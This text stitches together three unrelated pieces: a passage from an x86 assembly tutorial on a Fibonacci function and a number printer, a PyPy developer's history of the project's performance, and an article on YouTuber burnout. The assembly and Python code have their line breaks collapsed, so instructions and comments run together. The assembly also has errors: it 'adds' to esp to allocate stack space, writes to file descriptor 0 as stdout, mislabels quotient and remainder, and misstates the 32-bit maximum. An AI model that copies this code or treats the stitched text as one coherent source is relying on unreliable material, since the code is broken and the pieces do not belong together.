fibonacci:pushl %ebp                    # preserve ebp as we are going to use it to store our stack pointer for the return callmov %esp, %ebp                # copy the stack pointer to ebp for usemov %eax, %ebx                # make a copy of our fib(n) value for allocating an array on the stackaddl$2, %ebx                 # add 2 extra spaces to the array size in case n=1 or n=0shl$2, %ebx                  # multiply by 4 as we are using longs (32 bits)subl %ebx, %esp               # add the size of our array to the stack to allocate the required spacexor %ecx, %ecx                # set our counter to zeromovl %ecx, (%esp, %ecx, 4)    # initialise our array with 0 for esp[0]incl %ecx                     # increase our countermovl %ecx, (%esp, %ecx, 4)    # initialise our array with 1 for esp[1]incl %ecx                     # our counter/iterator should be at 2 nowaddl$2, %eax                 # increment our number of iterations by two as our ecx counter will be two higher from initialising our array
.fib_loop:                        # we begin our for loop herecmp %eax, %ecx                # compare our counter (ecx) to n (eax) if it's greater or equal, we're donejge.fib_donemovl -4(%esp, %ecx, 4), %ebx  # get the value in the stack at esp-1 from our current stack pointer locationmovl -8(%esp, %ecx, 4), %edx  # get the value in the stack esp-2 from our current stack pointer locationaddl %edx, %ebx               # add the values esp-1 and esp-2 togethermovl %ebx, (%esp, %ecx, 4)    # place the result in the current stack locationincl %ecx                     # bump our counterjmp.fib_loop# loop again
.fib_done:movl %ebp, %esp               # move our copy of the stack pointer back to esppopl %ebp                     # retrieve the original copy of ebp from the stackret

The first thing to note is that the comments as the top of the function specify input, processing and output. I find this a good habbit for functions as it makes explicit:

• what the function expects
• what the function does
• what is expected at completion of the function

Creating the stack space for our array

The fibonacci function introduces something not shown in the previous sections with how to set up the esp and ebp registers in order to use a local stack for our function. Up to this point most temporary variables have just been stored in registers (with the exception of the push and pop instructions). As the Fibonacci sequence uses an array to store results, memory on the stack needs to be allocated and used for this purpose.

This is the reason for the following instructions at the start of our function:

pushl %ebp                    # preserve ebp as we are going to use it to store our stack pointer for the return callmov %esp, %ebp                #copythestackpointertoebpforuse

And for these at the end of our function:

movl %ebp, %esp               # move our copy of the stack pointer back to esppopl %ebp                     #retrievetheoriginalcopyofebpfromthestack

In order to set up our local stack, the first thing that is done is that we save a copy of the base pointer ebp on the stack and copy the value of the stack pointer esp into the base pointer so that we have a copy of it and can restore it at the end of our function. At the end of our function we can copy ebp back into esp and restore the value of ebp from the stack as it was at the start of the function.

After the first instructions, we can modify the stack pointer as we like and all changes will only be local to the function and will essentially be destroyed, for all intents and purposes, once the function completes. Using this approach to the stack pointer with functions is somewhat of a convention in assembly language.

The Fibonacci logic in assembly

There are essentially two parts to the logic in this section that can be seen as:

• everything between the start of the function up to .fib_loop, which sets up our variables
• everything between the label .fib_loop up to .fib_done, which processes the Fibonacci sequence in a loop

Setting up our variables

Casting our minds back to the original C source code in [#Some starting knowledge](), we would like to design our assembly code to replicate the C code. The C code is similar in design with two sections where a counter and an array are defined, followed by a loop to calculate the Fibonacci number. The function assumes eax is set with the value for the number of iterations, n (plus 2), and returns the result in the register ebx.

The counter i is relatively simple and the register ecx is used for this purpose.

The addition of 2 to eax is done so that the number of iterations matches what the expected number in the sequence is. Our counter is the count of the index in our array, and not the number of iterations of the sequence. By adding 2 to eax, our ecx counter can remain our array index and we can compare it to eax to get the correct number of iterations. This is similar (but not the same as) the C code where the for loop is initialised to i=2.

Array memory allocation

What is less clear is how the array f is allocated and initialised. The array requires local memory on the stack as there can be more values than can fit in the registers. As a side-note, f the C code were to use malloc() to create the array, this would be a slightly different implementation and would allocate space on the heap, and not the stack.

For the array memory allocation, we do the following:

• copy our iteration count n in eax into ebx (as we want to keep ecx for counting later in the loop)
• add two to the value (as we want our array size to be two more than the number of iterations)
• multiply the value by 4 (as each value is a long that requires 32 bits, or 4 bytes)
• subtract the result from esp to give our new ‘top’ of the stack. ( I say top, but in actuality the top of the stack is at a lower memory address, hence the subtract)

This can be inferred from the following instructions:

mov %eax, %ebx                # make a copy of our fib(n) value for allocating an array on the stackaddl$2, %ebx                 # add 2 extra spaces to the array size in case n=1 or n=0shl$2, %ebx                  # multiply by 4 as we are using longs (32 bits)subl %ebx, %esp               #addthesizeofourarraytothestacktoallocatetherequiredspace

It is important to note that the shl instruction is actually a shift-left of the value in the ebx register, which in effect multiplies the value in ecx by 2^2, or 4 by shifting all the 1 bits in the register to the left. This could have also been achieved by the instruction imul $4, $ebx, but as the multiplication is a power of 2, it takes less cpu cycles if we use shl.

Variable initialisation

Once this is done, we zero our ecx counter register:

xor %ecx, %ecx                #setourcountertozero

Then initialise the first two values in the array to 0 and 1 respectively, while incrementing our ecx register.

movl %ecx, (%esp, %ecx, 4)    # initialise our array with 0 for esp[0]incl %ecx                     # increase our countermovl %ecx, (%esp, %ecx, 4)    # initialise our array with 1 for esp[1]incl %ecx                     #ourcounter/iteratorshouldbeat2now

Indexed memory

The format of mov above has not been shown previously as we have mainly been working with registers and pointers for counting strings. The format of mov with brackets around the second operand allows us to move, or copy the value of a register into an indexed memory location. This allows us to reference a greater number of memory locations than we could otherwise with a single register. This is mainly used when writing to memory as opposed to just reading from it.

The parenthesis around the second opcode tells the cpu to move the value in first opcode ecx into the memory address pointed to by the indexed location. The indexing between the brackets has the following form:

   (offset, index, multiplier)

In practice this means:

• move the value in ecx
• into the memory location with the value of:
  • the address pointed to by esp + ( ecx * 4 )

The multiplier 4 is used as we are working with long value types that are 4 bytes in length each.

For the first mov above, ecx is zero and so the value zero is placed into the lowest memory location in our stack f[0]. As 0 * 4 = 0, the value of the first iteration is just that of esp.

Next we increment our counter ecx so that it contains 1. The second mov then places the value 1 into the next position up in memory in our stack, 4 bytes up from the previous mov instruction. Our ecx counter is then incremented again.

This is closely reflected by our C code with the lines:

It is important that the first two values are pre-populated as the loop makes the assumption that the last two values of the Fibonacci sequence already exist.

Running the loop to completion

The logic below shows the heart of our Fibonacci implementation:

.fib_loop:                        # we begin our for loop herecmp %eax, %ecx                # compare our counter (ecx) to n (eax) if it's greater or equal, we're donejge.fib_donemovl -4(%esp, %ecx, 4), %ebx  # get the value in the stack at esp-1 from our current stack pointer locationmovl -8(%esp, %ecx, 4), %edx  # get the value in the stack esp-2 from our current stack pointer locationaddl %edx, %ebx               # add the values esp-1 and esp-2 togethermovl %ebx, (%esp, %ecx, 4)    # place the result in the current stack locationincl %ecx                     # bump our counterjmp.fib_loop#loopagain

In effect, it repeats the loop for the number of times specified on the coommand line (which we have previously placed in eax) and jumps to .fib_done if it has been reached, otherwise calculates the next number in the sequence.

Calculating the sequence

As we have already initialised our array with the values 0 and 1 for f[0] and f[1] respectively, our loop will always be able to calculate the next number in the sequence. The line movl -4(%esp, %ecx, 4), %ebx shows another variation of indexing into memory with the -4 out the front indicating a second, relative offset to the address within the parenthesis. What this does in effect is get the value 4 bytes down in memory (up the stack) from the current location of (esp + ecx * 4); effectively:

   ( esp + ( ecx * 4 ) ) - 4

This corresponds to the value in our C code of f[i-1]. The value in memory is placed into the ebx register for calculating the next value in the sequence.

The same is true of the line movl -8(%esp, %ecx, 4), %edx, however it represents the value f[i-2] in the array and is placed into the edx register.

The format of these mov instructions can be summarised as:

   relative_offset(absolute_offset, index, size)

The ebx and edx registers are then added together and the result placed into the array in the position f[i]. Our counter is then incremented and the loop repeats.

The register ecx can thus be seen as our index into the array throughout this process. Once the loop is complete we will have our value at the highest address in our stack, pointed to by esp which we can use to print to stdout as our result.

Printing our result

The final piece in the puzzle for putting together our program is almost the reciprocal for one of the functions we created earlier, namely get_long_from_string. The following is the function print_long, from fib7.s which takes an unsigned long, converts it to a string then prints the string to stdout.

# print a 32-bit long integer# input: ebx contains the long value we wish to print# process:#  set a counter for the number of digits to 0#  start a loop and check if value is zero - jump to done if so#  divide the number by 10 and take the remainder as the first digit#  add 48 to the number to make it an ascii value#  store the byte in the address esp + ecx#  increment the counter#  jump to start of loop# output: no output registers
print_long:push %ebpmov %esp, %ebp              # copy the stack pointer to ebp for useadd$10, %esp               # add 10 to esp to make space for our stringmov$10, %ecx               # set our counter to the end of the stack space allocated (higher)mov %ebx, %eax              # our value ebx is placed into eax for division
.loop_pl:xor %edx, %edx              # clear edx for the dividendmov$10, %ebx               # ebx is our divisor so we set it to divide by 10div %ebx                    # do the divisionaddb$48, %dl               # convert the quotient to asciimovb %dl, (%esp, %ecx, 1)   # place the string byte into memorydec %ecx                    # decrease our counter (as we are working backwards through the number)cmp$0, %ax                 # exit if the remainder is 0je.done_pljmp.loop_pl# loop again if necessary
.done_pl:addl %ecx, %esp             # shift our stack pointer up to the start of the bufferincl %esp                   # add 1 to the stack pointer for the actual first string bytesub$10, %ecx               # as we are counting down, we subtract 10 from ecx to give the actual number of digitsneg %ecx                    # convert to a positive valuemov %ecx, %edx              # move our count value to edx for the int 80 callmov %esp, %ecx              # move our string start address into ecxmovl$4, %eax               # set eax to 4 for int 80 to write to filemovl$0, %ebx               # set ebx for file to write to as stdoout (file descriptor 0)int$0x80# make it somovl %ebp, %esp             # move our copy of the stack pointer back to esppopl %ebp                   # retrieve the original copy of ebp from the stackret

We can see the same esp and ebp store and retrieve pattern at the start and end of the function as described earlier. Additionally, there is another local loop present in the form of .loop_pl and .done_pl for iterating the value we are printing.

The way this function works is by dividing our number by 10, taking the remainder of the division as a digit, converting it to an ASCII representation, then placing this value into our stack for printing further down in the function. The string does not need to be null-terminated with a 0x00 byte as the syscall (int 0x80) to print the value uses the length of the string.

After saving the stack pointer, the stack pointer is increased by 10 bytes to allow enough space for the string we would like to print. As the long value stores up to 32 bits, this means our number can be anything up to the value 4,294,967,296, which is 10 digits long.

Our value in ebx is then copied into eax ready for operating on.

The loop then begins where the heart of the transformation occurs. The key instruction here is the line div %ebx which both takes a bit of setting up and post-processing. This instruction implicitly takes the value in eax, divides it by the value specified in the operand (in our case ebx), then places the result in eax and the remainder in edx. This is why edx is xored at the start of the loop.

As we are only dividing by 10, we can be certain that our result is in the lower byte of edx (as 8 bytes can have a value between 0 and 255), and so we move this lower byte dl into the indexed stack pointer location (%esp, %ecx, 1). Following this, we decrement our ecx counter and compare the quotient of our division to 0. If the quotient equals 0, we know there are no digits to calculate and we can jump to .done_pl.

Doing things the hard way

The five lines after .jump_pl involve getting the correct count of the digits processed.

addl %ecx, %esp             # shift our stack pointer up to the start of the bufferincl %esp                   # add 1 to the stack pointer for the actual first string bytesub$10, %ecx               # as we are counting down, we subtract 10 from ecx to give the actual number of digitsneg %ecx                    # convert to a positive valuemov %ecx, %edx              #moveourcountvaluetoedxfortheint80call

By subtracting our result with the sub instruction then using neg to convert the negative number to a positive one, we will have the actual count of digits to print and can place it in the edx register for the syscall.

There is a bit of arithmetic here as our ecx was being decremented by 1 from 10 for each digit, and so the actual count is -1 * ( count - 10 ). This is a rather rountabout way of doing this calculation and it would have actually been simpler to just count up. However this way afforded me the opportunity to introduce the neg instruction which takes a 2’s compliment of the value in the specified register and is essentially multiplying the register by -1.

If you have followed along, congratulations! This is a rather lengthy tutorial but you should now at least know some of the basics of assembly language and how processing is done very close to the CPU. This can have all sorts of uses from optimising higher-level code to debugging complex multi-threaded applications and everything in-between and beyond.

If you have compiled the fib7.s code, you should be able to see the sequence in the docker-shell environment similar to below:

root@608eb3f49ac5:/gas-asm-fib# ./fib7 0
root@608eb3f49ac5:/gas-asm-fib# ./fib7 1
1root@608eb3f49ac5:/gas-asm-fib# ./fib7 2
2root@608eb3f49ac5:/gas-asm-fib# ./fib7 3
3root@608eb3f49ac5:/gas-asm-fib# ./fib7 4
5root@608eb3f49ac5:/gas-asm-fib# ./fib7 5
8root@608eb3f49ac5:/gas-asm-fib# ./fib7 6
13root@608eb3f49ac5:/gas-asm-fib#

From here to there

This is by no means the ultimate Fibonacci sequence generator (or even a sequence generator at all - it only prints the last value in the sequence, after all), and there are many tricks and tips to making this faster, more robust and more extensible both in design and application.

A follow on blog from this may include:

• Optimising calculations using an alternative Fibonacci alogrithm implementation with the corresponding performance comparison
• Optimising calculations using the FPU math coprocessor, MMX, XMM, or SIMD instructions
• Handling of a higher range of numbers
• Designing for reuse with multiple files

Until next time, happy coding!

A few weeks ago I (=Carl Friedrich Bolz-Tereick) gave a keynote at ICOOOLPS in Amsterdam with the above title. I was very happy to have been given that opportunity, since a number of our papers have been published at ICOOOLPS, including the very first one I published when I'd just started my PhD. I decided to turn the talk manuscript into a (longish) blog post, to make it available to a wider audience. Note that this blog post describes my personal recollections and research, it is thus necessarily incomplete and coloured by my own experiences.

PyPy has turned 15 years old this year, so I decided that that's a good reason to dig into and talk about the history of the project so far. I'm going to do that using the lens of how performance developed over time, which is from something like 2000x slower than CPython, to roughly 7x faster. In this post I am going to present the history of the project, and also talk about some lessons that we learned.

The post does not make too many assumptions about any prior knowledge of what PyPy is, so if this is your first interaction with it, welcome! I have tried to sprinkle links to earlier blog posts and papers into the writing, in case you want to dive deeper into some of the topics.

As a disclaimer, in this post I am going to mostly focus on ideas, and not explain who had or implemented them. A huge amount of people contributed to the design, the implementation, the funding and the organization of PyPy over the years, and it would be impossible to do them all justice.

Minimal Python Discussion, Coding and Sprint
--------------------------------------------

We announce a mailinglist dedicated to developing
a "Minimal Python" version.  Minimal means that
we want to have a very small C-core and as much
as possible (re)implemented in python itself.  This
includes (parts of) the VM-Code.

defDUP_TOP(f):w_1=f.valuestack.top()f.valuestack.push(w_1)

defint_int_add(space,w_int1,w_int2):x=w_int1.intvaly=w_int2.intvaltry:z=x+yexceptOverflowError:raiseFailedToImplement(space.w_OverflowError,space.wrap("integer addition"))returnW_IntObject(space,z)

2005: Bootstrapping PyPy

So what were the actually useful things done as part of the EU project?

One of the most important goals that the EU project was meant to solve was the question of how to turn PyPy into an actually useful VM for Python. The bootstrapping plans were taken quite directly from Squeak, which is a Smalltalk VM written in a subset of Smalltalk called Slang, which can then be bootstrapped to C code. The plan for PyPy was to do something similar, to define a restricted subset of Python called RPython, restricted in such a way that it should be possible to statically compile RPython programs to C code. Then the Python interpreter should only use that subset, of course.

The main difference from the Squeak approach is that Slang, the subset of Squeak used there, is actually quite a low level language. In a way, you could almost describe it as C with Smalltalk syntax. RPython was really meant to be a much higher level language, much closer to Python, with full support for single inheritance classes, and most of Python's built-in data structures.

(BTW, you don’t have to understand any of the illustrations in this blog post, they are taken from talks and project reports we did over the years so they are of archaeological interest only and I don’t understand most of them myself.)

From 2005 on, work on the RPython type inference engine and C backend started in earnest, which was sort of co-developed with the RPython language definition and the PyPy Python interpreter. This is also roughly the time that I joined the project as a volunteer.

And at the second sprint I went to, in July 2005, two and a half years after the project got started, we managed to bootstrap the PyPy interpreter to C for the first time. When we ran the compiled program, it of course immediately segfaulted. The reason for that was that the C backend had turned characters into signed chars in C, while the rest of the infrastructure assumed that they were unsigned chars. After we fixed that, the second attempt worked and we managed to run an incredibly complex program, something like 6 * 7. That first bootstrapped version was really really slow, a couple of hundred times slower than CPython.

The bootstrapping process of RPython has a number of nice benefits, a big one being that a number of the properties of the generated virtual machine don't have to expressed in the interpreter. The biggest example of this is garbage collection. RPython is a garbage collected language, and the interpreter does not have to care much about GC in most cases. When the C source code is generated, a GC is automatically inserted. This is a source of great flexibility. Over time we experimented with a number of different GC approaches, from reference counting to Boehm to our current incremental generational collector. As an aside, for a long time we were also working on other backends to the RPython language and hoped to be able to target Java and .NET as well. Eventually we abandoned this strand of work, however.

2006: The Meta-JIT

After successfully bootstrapping the VM we did some fairly straightforward optimizations on the interpreter and the C backend and managed to reduce the slowdown versus CPython to something like 2-5 times slower. That's great! But of course not actually useful in practice. So where do we go from here?

One of the not so secret goals of Armin Rigo, one of the PyPy founders, was to use PyPy together with some advanced partial evaluation magic sauce to somehow automatically generate a JIT compiler from the interpreter. The goal was something like, "you write your interpreter in RPython, add a few annotations and then we give you a JIT for free for the language that that interpreter implements."

Where did the wish for that approach come from, why not just write a JIT for Python manually in the first place? Armin had actually done just that before he co-founded PyPy, in a project called Psyco. Psyco was an extension module for CPython that contained a method-based JIT compiler for Python code. And Psyco proved to be an amazingly frustrating compiler to write. There were two main reasons for that. The first reason was that Python is actually quite a complex language underneath its apparent simplicity. The second reason for the frustration was that Python was and is very much an alive language, that gains new features in the language core in every version. So every time a new Python version came out, Armin had to do fundamental changes and rewrites to Psyco, and he was getting pretty frustrated with it. So he hoped that that effort could be diminished by not writing the JIT for PyPy by hand at all. Instead, the goal was to generate a method-based JIT from the interpreter automatically. By taking the interpreter, and applying a kind of advanced transformation to it, that would turn it into a method-based JIT. And all that would still be translated into a C-based VM, of course.

Slide from Psyco presentation at EuroPython 2002

The First JIT Generator

From early 2006 on until the end of the EU project a lot of work went into writing such a JIT generator. The idea was to base it on runtime partial evaluation. Partial evaluation is an old idea in computer science. It's supposed to be a way to automatically turn interpreters for a language into a compiler for that same language. Since PyPy was trying to generate a JIT compiler, which is in any case necessary to get good performance for a dynamic language like Python, the partial evaluation was going to happen at runtime.

There are various ways to look at partial evaluation, but if you've never heard of it before, a simple way to view it is that it will compile a Python function by gluing together the implementations of the bytecodes of that function and optimizing the result.

The main new ideas of PyPy's partial-evaluation based JIT generator as opposed to earlier partial-evaluation approaches are the ideas of "promote" and the idea of "virtuals". Both of these techniques had already been present (in a slightly less general form) in Psyco, and the goal was to keep using them in PyPy. Both of these techniques also still remain in use today in PyPy. I'm going on a slight technical diversion now, to give a high level explanation of what those ideas are for.

2007: RSqueak and other languages

After the EU project ended we did all kinds of things. Like sleep for a month for example, and have the cleanup sprint that I already mentioned. We also had a slightly unusual sprint in Bern, with members of the Software Composition Group of Oscar Nierstrasz. As I wrote above, PyPy had been heavily influenced by Squeak Smalltalk, and that group is a heavy user of Squeak, so we wanted to see how to collaborate with them. At the beginning of the sprint, we decided together that the goal of that week should be to try to write a Squeak virtual machine in RPython, and at the end of the week we'd gotten surprisingly far with that goal. Basically most of the bytecodes and the Smalltalk object system worked, we had written an image loader and could run some benchmarks (during the sprint we also regularly updated a blog, the success of which led us to start the PyPy blog).

The development of the Squeak interpreter was very interesting for the project, because it was the first real step that moved RPython from being an implementation detail of PyPy to be a more interesting project in its own right. Basically a language to write interpreters in, with the eventual promise to get a JIT for that language almost for free. That Squeak implementation is now called RSqueak ("Research Squeak").

I'll not go into more details about any of the other language implementations in RPython in this post, but over the years we've had a large variety of language of them done by various people and groups, most of them as research vehicles, but also some as real language implementations. Some very cool research results came out of these efforts, here's a slightly outdated list of some of them.

The use of RPython for other languages complicated the PyPy narrative a lot, and in a way we never managed to recover the simplicity of the original project description "PyPy is Python in Python". Because now it's something like "we have this somewhat strange language, a subset of Python, that's called RPython, and it's good to write interpreters in. And if you do that, we'll give you a JIT for almost free. And also, we used that language to write a Python implementation, called PyPy.". It just doesn't roll off the tongue as nicely.

2009: Meta-Tracing

So, how did that tracing JIT generator work? A tracing JIT generates code by observing and logging the execution of the running program. This yields a straight-line trace of operations, which are then optimized and compiled into machine code. Of course most tracing systems mostly focus on tracing loops.

As we discovered, it's actually quite simple to apply a tracing JIT to a generic interpreter, by not tracing the execution of the user program directly, but by instead tracing the execution of the interpreter while it is running the user program (here's the paper we wrote about this approach).

So that's what we implemented. Of course we kept the two successful parts of the first JIT, promote and virtuals (both links go to the papers about these features in the meta-tracing context).

2009-2011: The PyJIT Eurostars Project

While we were writing all these JIT prototypes, PyPy had sort of reverted back to being a volunteer-driven open source project (although some of us, like Antonio Cuni and I, had started working for universities and other project members had other sources of funding). But again, while we did the work it became clear that to get an actually working fast PyPy with generated JIT we would need actual funding again for the project. So we applied to the EU again, this time for a much smaller project with less money, in the Eurostars framework. We got a grant for three participants, merlinux, OpenEnd and Uni Düsseldorf, on the order of a bit more than half a million euro. That money was specifically for JIT development and JIT testing infrastructure.

2010: speed.pypy.org

In 2010, to make sure that we wouldn't accidentally introduce speed regressions while working on the JIT, we implemented infrastructure to build PyPy and run our benchmarks nightly. Then, the http://speed.pypy.org website was implemented by Miquel Torres, a volunteer. The website shows the changes in benchmark performance compared to the previous n days. It didn't sound too important at first, but this was (and is) a fantastic tool, and an amazing motivator over the next years, to keep continually improving performance.

2010: Implementing Python Objects with Maps

So, what else did we do in the Eurostars project, apart from adding traditional compiler optimizations to the tracing JIT and setting up CI infrastructure? Another strand of work, that went on sort of concurrently to the JIT generator improvements, were deep rewrites in the Python runtime, and the Python data structures. I am going to write about two exemplary ones here, maps and storage strategies.

The first such rewrite is fairly standard. Python instances are similar to Javascript objects, in that you can add arbitrary attributes to them at runtime. Originally Python instances were backed by a dictionary in PyPy, but of course in practice most instances of the same class have the same set of attribute names. Therefore we went and implemented Self style maps, which are often called hidden classes in the JS world to represent instances instead. This has two big benefits, it allows you to generate much better machine code for instance attribute access and makes instances use a lot less memory.

2011: Container Storage Strategies

Another important change in the PyPy runtime was rewriting the Python container data structures, such as lists, dictionaries and sets. A fairly straightforward observation about how those are used is that in a significant percentage of cases they contain type-homogeneous data. As an example it's quite common to have lists of only integers, or lists of only strings. So we changed the list, dict and set implementations to use something we called storage strategies. With storage strategies these data structures use a more efficient representations if they contain only primitives of the same type, such as ints, floats, strings. This makes it possible to store the values without boxing them in the underlying data structure. Therefore read and write access are much faster for such type homogeneous containers. Of course when later another data type gets added to such a list, the existing elements need to all be boxed at that point, which is expensive. But we did a study and found out that that happens quite rarely in practice. A lot of that work was done by Lukas Diekmann.

Meta-Tracing really works!

Let me end with what, in my opinion, is the main positive technical result of PyPy the project. Which is that the whole idea of using a meta-tracing JIT can really work! Currently PyPy is about 7 times faster than CPython on a broad set of benchmarks. Also, one of the very early motivations for using a meta-jitting approach in PyPy, which was to not have to adapt the JIT to new versions of CPython proved to work: indeed we didn't have to change anything in the JIT infrastructure to support Python 3.

RPython has also worked and improved performance for a number of other languages. Some of these interpreters had wildly different architectures. AST-based interpreters, bytecode based, CPU emulators, really inefficient high-level ones that allocate continuation objects all the time, and so on. This shows that RPython also gives you a lot of freedom in deciding how you want to structure the interpreter and that it can be applied to languages of quite different paradigms.

I'll end with a list of the people that have contributed code to PyPy over itshistory, more than 350 of them. I'd like to thank all of them and the various roles they played. To the next 15 years!

update: fixed confusing wording in the maps section.

When Matt Lees became a full-time YouTuber, he felt as if he had won the lottery. As a young, ambitious writer, director and presenter, he was able to create low-budget, high-impact films that could reach a worldwide audience, in a way that would have been impossible without the blessing of television’s gatekeepers just a few years earlier. In February 2013, he had his first viral hit, an abridged version of Sony’s announcement of its PlayStation 4 video game console, dubbed with a cheerily acerbic commentary. Within days the video had been watched millions of times. “It hardly seems viral at all, by today’s standards,” Lees says, yet it was one of the most viewed videos on YouTube that month. The boost to Lees’ ego was nothing compared with the effect it had on his career. When YouTube’s algorithm notices this sort of success, it starts directing viewers to the uploader’s other videos, earning the channel more subscribers and, via the snippety advertisements that play before each one, higher income. Overnight, Lees had what seemed like the first shoots of a sustainable career.

Excitement soon gave way to anxiety. Even in 2013, Lees was aware that his success depended not so much on smash hits as on day-by-day reliability. “It’s not enough to simply create great things,” he says. “The audience expect consistency. They expect frequency. Without these, it’s incredibly easy to slip off the radar and lose favour with the algorithm that gave you your wings.” By the end of the year Lees had grown his channel from 1,000 subscribers to 90,000, and caught the attention of one of his influences, Charlie Brooker, who invited Lees to collaborate on writing a Channel 4 special. For a month Lees worked 20-hour days, dividing his time between the TV script work and, ever conscious that missing a day’s upload could cause his videos to tumble down the search rankings, his YouTube channel.

At the end of the month he was pale, gaunt and tired in a way that, he recalls, seemed “impervious to rest”. His work, he noticed, had become increasingly rushed and harsh in tone. Yet the angry, provocative quality of his videos seemed only to be making them more popular. “Divisive content is the king of online media today, and YouTube heavily boosts anything that riles people up,” he says. “It’s one of the most toxic things: the point at which you’re breaking down is the point at which the algorithm loves you the most.”

Lees began to feel a knock-on effect on his health. “Human brains really aren’t designed to be interacting with hundreds of people every day,” he says. “When you’ve got thousands of people giving you direct feedback on your work, you really get the sense that something in your mind just snaps. We just aren’t built to handle empathy and sympathy on that scale.” Lees developed a thyroid problem, and began to experience more frequent and persistent stretches of depression. “What started out as being the most fun job imaginable quickly slid into something that felt deeply bleak and lonely,” he says.

***

For years, YouTubers have believed that they are loved most by their audience when they project a chirpy, grateful image. But what happens when the mask slips? This year there has been a wave of videos by prominent YouTubers talking about their burnout, chronic fatigue and depression. “This is all I ever wanted,” said Elle Mills, a 20-year-old Filipino-Canadian YouTuber in a (monetised) video entitled Burnt Out At 19, posted in May. “And why the fuck am I so unfucking unhappy? It doesn’t make any sense. You know what I mean? Because, like, this is literally my fucking dream. And I’m fucking so un-fucking-happy.”

Mills had gained a lot of attention (and 3.6m views) for a slick and cleverly edited five-minute video she posted last November in which she came out as bisexual to her friends, family and followers (many of whom had been asking about her sexuality in the comments). She went on to be featured on the cover of Diva magazine, and won a Shorty award for “breakout YouTuber”. But six months later she posted the Burnt Out video, explaining how her schoolgirl ambition of becoming a YouTuber had led her to bigger and bigger audiences, but that “it’s not what I expected. I’m always stressed. My anxiety and depression keep getting worse. I’m waiting to hit my breaking point.”

The same month Rubén “El Rubius” Gundersen, a 28-year-old Spaniard who is currently the world’s third most popular YouTuber, with more than 30 million subscribers, talked about how he felt as if he was heading for a breakdown, and had, as a result, decided to take a break. They are the latest in a string of high-profile YouTubers, including Erik Phillips (better known as M3RKMUS1C, with 4 million subscribers) and Benjamin Vestergaard (Crainer, with 2.8 million), to have announced hiatuses from the channel, or described their struggles with exhaustion.

The anxieties are tied up with the relentless nature of their work. Tyler Blevins, AKA Ninja, makes an estimated $500,000 (£384,000) every month via live broadcasts of him playing the video game Fortnite on Twitch, a service for livestreaming video games that is owned by Amazon. Most of Blevins’ revenue comes from Twitch subscribers or viewers who provide one-off donations (often in the hope that he will thank them by name “on air”). Blevins recently took to Twitter to complain that he didn’t feel he could stop streaming. “Wanna know the struggles of streaming over other jobs?”he wrote, perhaps ill-advisedly for someone with such a stratospheric income. “I left for less than 48 hours and lost 40,000 subscribers on Twitch. I’ll be back today… grinding again.”

There was little sympathy on Twitter for the millionaire. But the pressure he described is felt at every level of success, from the titans of the content landscape all the way down to the people with channels with just a few thousand subscribers, all of whom feel they must be constantly creating, always available and responding to their fans. “Constant releases build audience loyalty,” says Austin Hourigan, who runs ShoddyCast, a YouTube channel with 1.2 million subscribers. “The more loyalty you build, the more likely your viewers are to come back, which gives you the closest thing to a financial safety net in what is otherwise a capricious space.”

When a YouTuber passes the 1 million subscribers mark, they are presented with a gold plaque to mark the event. Many of these plaques can be seen on shelves and walls in the background of presenters’ rooms. In this way, the size of viewership and quantity of uploads become the main markers of value.

Professional YouTubers speak in tones at once reverential and resentful of the power of “the Algorithm” (it’s seen as a near-sentient entity, not only by creators, but also by YouTube’s own engineers). Created by the high priests of Silicon Valley, who continually tweak its characteristics, this is the programming code on which the fate of every YouTuber depends. It decides which videos to pluck from the Niagara of content that splashes on to YouTube every hour (400 hours’ worth every 60 seconds, according to Google) to deliver as “recommended viewing” to the service’s billions of users.

Every time you log on to YouTube you are presented with videos chosen by the algorithm. The idea is that a clip particularly well suited to your tastes will inspire you to click the Subscribe button – which, hopefully, will bring you back to watch a new episode tomorrow. The viewer feels that YouTube understands what he or she likes, while advertisers are reassured that the video in front of which their five-second commercial will run will reach an appropriately targeted audience.

When your income is dependent on the number of people who watch your videos each week, this code can decide what, or even whether, you eat. And, 13 years into YouTube’s existence, many believe it has come to sit at the core of a growing mental health crisis among video creators.

In April this year there was a particularly extreme example, when 38-year-old Nasim Najafi Aghdam entered YouTube’s Californian campus and opened fire on employees with a 9mm pistol, wounding three before she killed herself. A video Aghdam uploaded prior to the attack suggested that it was driven by her belief that the company’s algorithm had passed over her videos; in March she posted on Instagram, “All my YouTube channels got filtered by YouTube so my videos hardly get views.”

Algorithm-led content curation makes creators feel disposable, challenging them to churn out videos in the knowledge that there are younger, fresher people waiting in the wings to replace them. For YouTubers who use their daily lives as raw material for their videos, there is added pressure, as the traditional barriers between personal and professional life are irreparably eroded.

At a recent party at a conference for YouTubers and streamers, Hourigan was standing with a group of YouTubers when he quipped: “I think every YouTube career should come with a coupon for a free therapist.” Everybody laughed, he recalls, but “in a sad way”.

“By the way,” he adds, “I’m medicated and have a therapist.”

***

Katherine Lo is a researcher into online communities at the University of California, Irvine. For her, it’s not simply the frequency and consistency of content creation that lead to burnout, but the specific nature of the work required to keep audiences engaged, which includes being active on social media, interacting with fans, and other roles beyond writing, presenting and editing. “This kind of labour is often invisible but very taxing and a major contributor to occupational stress,” Lo explains. “In many cases it can contribute to PTSD, especially when creators are subject to harassment, threats to their safety and privacy, or ongoing toxicity in their community.”

She recently developed a list of occupational factors that contribute to mental health risks for creators. It includes the exhaustion that comes from performing “familiarity” with the audience, the stress of reading comments, the financial anxiety associated with managing sponsorships and donations, and the pressure of managing reputation and professional ties in the YouTuber community, where recommendations are key to getting fans.

Those who work on larger channels, which have enough money to employ a staff and spread the pressure, are not immune to these risks. Belinda Zoller joined the team behind the Extra Credits YouTube channel in 2016. The channel publishes weekly lessons in video game design and world history, using cheery animations. It has close to 1.6 million subscribers; Zoller works as a moderator, responding to comments. Moderation is one of the most gruelling jobs in the web’s emergent economy, and while Zoller does not work in front of the camera, her role puts her in the firing line for anonymous abuse and bad-faith interaction. Within months she was exhausted. “There is a lot of emotional labour involved in my work,” she says. “I empathise with the root of people’s concerns and criticisms, even if I disagree with some of them.”

Zoller views YouTube as her primary “office space” – a shift that, she says, has “very much negatively impacted my mental health”. No matter how much she enjoys helping to run a popular channel, the platform itself is steeped in negativity. Moderating comments in order to maintain a clean and safe online space is like weeding a garden: every time a root is pulled up, another three nose through the soil in its place. Zoller believes that, far from wanting to deal with the negativity, YouTube actively encourages it via the design of the algorithm. “People tend not to discuss content unless they have very strong opinions about it, and most of the time those strong opinions favour disagreement,” she explains. “So the algorithm favours clickbait and controversial content over meaningfully nuanced and positive content.”

